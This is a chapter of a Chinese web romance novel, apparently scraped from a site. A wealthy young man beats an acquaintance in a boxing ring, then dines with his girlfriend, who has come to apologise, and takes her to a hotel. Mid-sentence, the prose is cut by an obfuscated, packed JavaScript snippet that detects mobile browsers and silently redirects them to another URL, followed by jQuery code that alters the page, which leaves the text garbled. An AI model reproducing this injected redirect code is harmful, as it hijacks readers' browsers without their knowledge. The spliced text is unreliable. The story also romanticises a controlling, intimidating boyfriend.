27. 约见

作品:《难逃

    拳馆。


    今日是周末,拳馆却没什么客人,严谕到这里询问了番才知道是逄优介包了场,果真是锦衣玉食的大少爷,动不动就是包场甩钱。


    彼时,逄优介正在对着一个沙袋拳打脚踢,那样子看起来心情不是很好,严谕寻思着过去巴结两句。


    走过去时说:“介哥,你这是干什么?事进展得不挺顺利嘛。”


    逄优介甚至没看他一眼,一拳又一拳砸向沙袋,那架势,若对面是个人,不知道被他打死多少回。


    严谕又说:“小嫂子到时候肯定会来找你的,你就放心好,女人嘛,给点钱给点好处,到床上……”


    话未说尽,逄优介停下来,朝严谕这边瞥了眼,抬手指示工作人员给严谕送上拳击手套,严谕还有些没搞懂状况,逄优介已然跃过围栏站在了擂台上,戴着拳击手套的手朝严谕勾了勾,严谕这才明白逄优介是让他干什么。


    陪练。


    说的好听是陪逄优介练会儿拳,说的不好听就是被人往死里揍。


    逄优介出拳又快又猛,严谕根本招架不住,几个回合就被打得鼻青脸肿,最后重重一拳朝他小腹冲来时,他躲闪不及,直接被打飞,幸亏围栏护了他一下,没有直接摔飞出去,而是趴在台上动弹不得,嘴角血溢出。


    逄优介不紧不慢地摘了拳套,居高临下地睥睨了眼严谕,薄唇轻启:“再敢臆想我女朋友,我应该会打爆你的脑袋。”


    摘下来的拳套随意扔到一旁,从擂台上下来,逄优介进更衣间将拳服脱下,换上自己的衣服,膝盖处昨晚女孩咬破的伤口到现在还未处理,伤疤并未完全愈合,且有些狰狞,逄优介盯着看了片刻。


    昨晚,他真给过林听荷机会了。


    从更衣间出来那会儿,严谕已经从擂台上下来,拖着疲惫又沉重的身体走路,见到他时被吓了一跳,逄优介倒没有多管,站在原地等着严谕自己过来。


    严谕过来时又笑呵呵地道了歉,发誓说:“介哥我真不敢打你女朋友的主意,我也绝对不会乱想,刚刚是我不会说话,你别介意。”


    逄优介哪会信别人的话,这时候手机响了,他从兜里拿出,备注“宝宝”。


    眼眸里突然多了丝柔与光泽,停了几秒接通电话,并没有立刻听到女孩的声音,倒是女孩紊乱的呼吸声传了过来。


    逄优介悠悠地等,许久才听到那边传来女孩试探的声音:


    “哥?”


    有一阵子没听到她这样叫了。这声带着目的的“哥”,比往常任何一声都让他兴奋。


    而且昨晚还能涨红脸喊他逄优介,今天叫得这般甜。有林听荷这忍耐力,什么事干不成?


    逄优介随意应了声:“听着呢。”


    那边似是深吸了口气,做完心理准备,这才缓缓道:“哥,我能约你吃个饭吗?”


    逄优介这边并没有立刻给回答。


    听荷等了会儿,就说:“你今天有空吗?不行的话,明天?后天?嗯,太晚的话……”


    “太晚的话怎么?”逄优介问。


    听荷樱唇紧紧地抿着,许久道:“太晚的话我害怕忘记我要说什么。所以,你今天有空吗?”


    “没有。”逄优介说。


    “啊?”听荷有些不知所措,却又不想放弃,“那明天?或者后天呢?你最近什么时候有空?”


    “林听荷。”男人突然叫了她全名。


    听荷那边一顿,片刻时间,紧张道:“嗯,怎么了?”


    她觉得自己不敢听下去了,昨晚那样与逄优介吵,今日却又拉低姿态来求他见面,多少是有点没脸。


    逄优介会答应吗?会答应就怪了。


    逄优介却说:“你应该直接给我时间地点,让我过去。而不是在这询问。”


    “啊?”听荷有些懵。


    “你是我女朋友。”逄优介一字一句道。


    两边同时安静了许久,听荷那边缓过来才说:“好,那我把位置发你。”


    说完,又是片刻的沉默,估计听荷寻思着要逄优介挂断电话,但男人哪愿意,就这样静静地听着那边的呼吸声,终于是林听荷那边先挂了电话。


    电话挂断,嘟嘟响了几下,逄优介这才慢悠悠地收了手机,抬眸睨了眼一旁的严谕,得支开,于是说:“挑个地方去旅游,费用我报销。”


    严谕一听,眸中一亮,忙笑呵呵地应声。


    被打了,给个好处依然跟条哈巴狗,逄优介挺想笑。一点儿不如他的宝宝。


    *


    晚九点左右,沪城的夜最为繁华,霓虹灯闪烁,车流不息,坐在落地窗边最适合欣赏夜晚的江景。


    听荷难得请客来这么贵的餐厅,点餐时心在滴血,这些日子赚的钱估计仅够服务费,哪有钱点单,而对面男人挑挑拣拣,点了好多菜,甚至点了两杯昂贵的果汁。


    听荷倒吸了口凉气。


    待服务员来询问听荷要吃点什么,听荷犹犹豫豫,还是对面男人说:“我点的要两份。”


    服务员:“是。”


    听荷将菜单递还给服务员,待服务员离开,听荷哂笑了两下说:“这里的饭好贵啊。嗯……”


    早知道不来了并没有说出口,听荷憋住选择不说,拿过一旁的水杯喝了口水润了下唇瓣。


    “我没给你钱?”逄优介静静地看着对面女孩。


    听荷偷偷看了男人一眼,又低下脑袋说:“我请你吃饭,不能花你的钱。”


    逄优介哪在乎那些弯弯绕绕,什么你的钱我的钱,他给林听荷钱就是让她花的,她不花是几个意思?


    等服务员上菜的过程,听荷犹犹豫豫了许久,不知道该吃饭前说那件事,还是吃饭的时间,又或者吃完饭再说?


    她手里拿着水杯,指尖掐得泛白,时而抬眸看一眼对面男人,便见男人一直在朝她这边看,听荷又忙挪开视线,慌张的样子倒真像男人口中的兔子。


    终是逄优介等不耐烦,开口:“林听荷,你叫我过来就只是吃饭?”


    听荷抬头,看着男人忙摇了摇头,“当然不是,我、我……”


    这时候正好服务员送上餐,听荷便趁机想了想该如何开这个口,等服务员离开,听荷举起果汁朝男人看,男人贴心地举杯过来与她碰了杯,又说:


    “有事就说。”


    “哥,昨晚……是我不对,我不该那样吼你,我……错了。”听荷说着说着便低下了脑袋。


    此刻恨不得把脑袋埋到地里面,她能感受到男人在盯着她看。就害怕男人察觉到什么不对。


    “林听荷,说话请看着我,好吗?”男人语气说不出的温柔。


    听荷握着水杯的手紧了紧,缓缓抬头,一双漆黑明亮的眼眸无辜地看着男人,那表情看着可不像是认输,她说:“昨晚是我不对,哥你担心我想让我长个记性是为了我好,而我却那样吼你,我错了,我……道歉。”


    年纪大了,骗人的本事也跟着长了,逄优介笑了笑,举杯过去又碰了下女孩的杯,说:“那我们和好?”


    “啊?”听荷怀疑自己听错了,而视线里男人朝她轻挑了下眉梢,他尚在举杯,听荷反应过来点了头喝下杯中的果汁。


    这就算和好了?昨晚那事逄优介不在意了吗?


    听荷心跳很快,她现在有些懵,来之前想着逄优介过来应该会狠狠地惩罚她一顿,但是并没有,她准备好的谎言都没来得及说。


    不过这样也好,听荷唇角露出一抹笑意,和好,意味着接下来向逄优介说那件事男人才有可能同意,听荷拿着叉子卷了团意面吃。


    没一会儿,男人又问:“所以,林听荷,过去一个月为什么不联系我?”


    男人又回到这个问题,听荷心一紧,这事怎么还不让过去?听荷心里面叹了声糟糕,又说:“那你又为什么不来找我?”


    “什么意思?”


    听荷抬眸看着男人,说:“你都不来找我,凭什么要我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548323|184889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去找你?”


    她是知道逄优介背地里做的那些事,所以不去找他,而逄优介呢?


    见男人不说话,听荷还特地补充:“是代阿姨要我在外面的公寓住那件事吗?我真没有找代阿姨说过什么事,而且代阿姨提出来我不好拒绝。”


    “不好拒绝?”逄优介唇角一勾,“是不好拒绝,还是正中你意,你不想拒绝。”


    这话一针见血地说中女孩的内心,听荷抿了下唇,犹犹豫豫地说:“我只是觉得跟你住在一起,你要我做这做那很累,我白天还要上课,所以——”


    “够了。”逄优介打断了女孩的话,他现在好不容易控制下的情绪,并不想在这个时候与女孩生气,这个话题他不想再聊下去了。


    听荷见他脸色不太好,便没有说话,怕自己哪句话惹到他这个阴晴不定的男人,于是低头乖乖地扒拉着饭吃。


    可那事分明就不是她的错,她都没有怪逄优介误会她,已经够客气了,男人却敢对她生气……算了,总要忍的,现在她有求于他。


    吃完饭天色已经暗淡,服务员送上账单,听荷积极地说她结账。


    拿出了她自己的一张卡,是这些日子存的积蓄,谁料刷完一张,服务员看着她笑了笑,说:“这位小姐,你卡里的余额好像不太够。”


    话说得委婉,听荷已经尬得脚指扣地了。她朝服务员轻轻哂笑了一下。


    回头看向坐在原位的逄优介,见男人嘴角笑容浅浅,听荷没忍住在心里嘀咕了句,逄优介点的什么啊,这么贵。


    犹豫片刻,听荷又从自己包里掏出逄优介送她的卡,给服务员递过去,结完账,听荷低头轻轻叹了口气。


    “走了。”男人从她身边路过,撂下句话,听荷哦了声急忙跟上。


    坐电梯下楼,电梯门关上,只有他们二人,听荷问:“哥,那个……你今晚是要回家住吗?”


    男人往她这边瞥了眼,“你要我去哪?”


    这话本没什么不对,可是男人那眸中的轻佻让听荷不由害怕,听荷缩了缩身子,离男人远了些,这才说:“我还有件事没跟你说。”


    “什么?”逄优介问话之时拉着女孩胳膊又把人拉近。也不知道她躲什么躲。


    听荷正要说话,叮咚,电梯门开,有人进来,听荷便止住自己要说出口的话,调整了下呼吸。


    一旁男人静静地看了她会儿,什么也没说。一件事磨他这么长时间,这林听荷可真有本事。


    二人从餐厅出来,外面李叔已经将车开到路边等他们出来,二人上了车,李叔问:“少爷,听荷小姐啊,今晚是要回家吧?”


    “嗯,回家吧。”听荷说,以往她是绝对不愿和逄优介一起回家睡的,尤其逄先生与夫人不在家。可今日情况特殊,她还未向逄优介说正事呢。


    逄优介却在这时候开口:“明早我们还要上课,在学校附近找个酒店休息吧。”


    李叔点头,“是。”


    听荷愣了下。这是连家都不回了吗?酒店?酒店!!


    下了车,李叔待他二人进入酒店这才离开,听荷小跑着跟在逄优介身后,气喘吁吁,咬字却清晰:“哥,那个我公寓就在附近,我就不在酒店休息了可以吗?”


    “邀请我去你公寓睡的意思吗?”逄优介停下脚步,冷不丁地说出这么一句。


    听荷默了会儿,没想到逄优介这么“会”说话,她急忙摇头。


    男人拽住她的手腕往前走,到前台开了间套房,拿过房卡二人坐电梯上去。


    到了房间,逄优介并没有直接带女孩回卧室休息,走到客厅,把人摁到沙发上坐,逄优介蹲下来看着她,说:


    “林听荷,有什么事直接和我说可以吗?”


    “啊?”听荷还未意识到自己今天的演技有多么的糟糕。


    男人又说:“我是你男朋友,你想和我说什么事都可以。”


    一句话,宛若镇定剂,驱散了女孩一日的担惊受怕。